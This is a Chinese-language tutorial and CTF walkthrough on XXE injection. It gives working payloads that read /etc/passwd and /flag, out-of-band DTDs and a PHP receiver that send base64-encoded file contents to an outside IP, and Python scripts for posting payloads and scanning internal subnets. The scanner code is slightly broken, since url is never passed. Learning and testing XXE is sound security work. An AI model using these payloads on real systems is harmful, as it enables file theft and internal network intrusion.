XML外部实体注入(XXE)漏洞
0x01:DTD基础知识
DTD是xml的格式规范,xml的格式由DTD控制
<?xml version="1.0"?> //这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>
除了能在DTD中定义元素(其实就是那些标签),我们还能在DTD中定义实体(就是标签里面的内容),比如
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
&xxe就是对test的引用,要输出的时候&xxe就被test替换了。
0x02:外部实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY content SYSTEM "filename">
]>
<c>&content;</c>
引入外部实体的几种方法:
1. 直接通过DTD外部实体声明
<?xml verison="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>
2. 通过DTD文档引入外部DTD文档,DTD文档中写入外部实体声明
<?xml verison="1.0"?>
<!DOCTYPE b SYSTEM "http://xxxx.com/a.dtd">
<c>&b;</c>
a.dtd文件需要放在xxxx.com站的下面,内容为
<!ENTITY b SYSTEM "file:///etc/passwd">
3. 通过DTD外部实体声明引入外部实体声明
<?xml verison="1.0"?>
<!DOCTYPE a[
<!ENTITY % d SYSTEM "http://xxxx.com/a.dtd">
%d;
]>
<c>&b;</c>
a.dtd文件需要放在xxxx.com站的下面
<!ENTITY b SYSTEM "file:///etc/passwd">
0x03:xxe能做哪些事
1、敏感文件读取
2、探测内网主机和端口
3、攻击只需http get请求能做的事,比如内网sql注入、内网未授权redis、struct2
4、通过jar协议进行文件上传
0x04:XXE有回显
1. 读取常规文件
1.1 CTFShow Web入门 web373题
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>
<!ENTITY xxe SYSTEM "file:///flag">
]>
<creds><ctfshow>&xxe;</ctfshow></creds>
2. 读取带特殊字符文件
如果有回显我们可以读取对方机器上的敏感文件,这个点在上面的DTD中已经体现了,这里要提的是如果读取的文件中有特殊符号,那么无法成功读取,需要配合一些tips,我们可以把我们要读取的数据放在CDATA中输出
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///flag">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd;
]>
<roottag>&all;</roottag>
evil.dtd的内容如下
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;"> // 其实就是 <![CDATA[file:///flag]]>
就像下面这个例子一样,这里ctfshow web入门 web373的题做的演示
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///flag">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://106.52.219.217:8888/evil.dtd">
%dtd;]>
<creds><ctfshow>&all;
</ctfshow>
</creds>
0x05:XXE无回显
使用参数实体,外部引用 DTD
1. CTFshow Web入门 web374-376题
方法一
在服务器上添加如下dtd文件
# test.dtd
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://106.52.219.217:8888/xxe.php?q=%file;'>" >
%all;
新建用于接受的php
# xxe.php
<?php
highlight_file(__FILE__);
$xxe = base64_decode($_GET['q']);
$txt = 'flag.txt';
file_put_contents($txt,$xxe,FILE_APPEND)
?>
burpsuite发包
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://106.52.219.217:8888/pd.dtd">
%dtd;
%send;
] >
<root>test</root>
方法二
在服务器是新建test.dtd文件
<!ENTITY % dtd "<!ENTITY 7 xxe SYSTEM 'http://106.52.219.217:8888/%file;'> ">
%dtd;
%xxe;
发送payload
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://106.52.219.217:8888/test.dtd">
%aaa;
]>
<root>123</root>
2. CTFshow Web入门 web377题
import requests
url = 'http://ba70d84f-1fd3-4090-851f-0a9478fa9fae.challenge.ctf.show'
payload = """<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://106.52.219.217:8888/test.dtd">
%aaa;
]>
<root>123</root>"""
payload = payload.encode('utf-16')
print(payload)
requests.post(url ,data=payload)
监听拿到flag
3. CTFshow Web入门 web378题
payload
<!DOCTYPE abc [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe; </username><password>&xxe;</password></user>
0x06:xxe探测内网主机和端口
我们可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件判断内网网段
# 实际上也就是判断内网主机的80端口是否开启。开启了判断为存活。
import requests
import base64
def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)
'''
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://ip:port/" >
]>
<xml><stuff>&xxe;</stuff></xml>
'''
def send_xml(xml,url):
headers = {'Content-Type': 'application/xml'}
x = requests.post(url, data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print(coded_string)
# print base64.b64decode(coded_string)
if __name__ == '__main__':
url = input("[*] 输入目标地址,带路由:")
WD = input("[*] 输入要检测的网段(xx.xx.xx.): ")
for i in range(1, 255):
try:
i = str(i)
ip = WD + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print(string)
build_xml(string)
except:
continue
找到了内网的一台主机,想要知道攻击点在哪,我们还需要进行端口扫描,端口扫描的脚本主机探测几乎没有什么变化,只要把ip 地址固定,然后循环遍历端口就行了,当然一般我们端口是通过响应的时间的长短判断该该端口是否开放的,读者可以自行修改一下,当然除了这种方法,我们还能结合 burpsuite 进行端口探测
如果内网的服务器有漏洞,并且恰好利用方式在服务器支持的协议的范围内的话,我们就能直接利用 XXE 打击内网服务器甚至能直接 getshell(比如有些 内网的未授权 redis 或者有些通过 http get 请求就能直接getshell 的 比如 strus2)
0x07:防御xxe
方法一:禁用外部实体
方法二:手动黑名单过滤关键词
0x08:参考链接
本文大部分参考一下文章: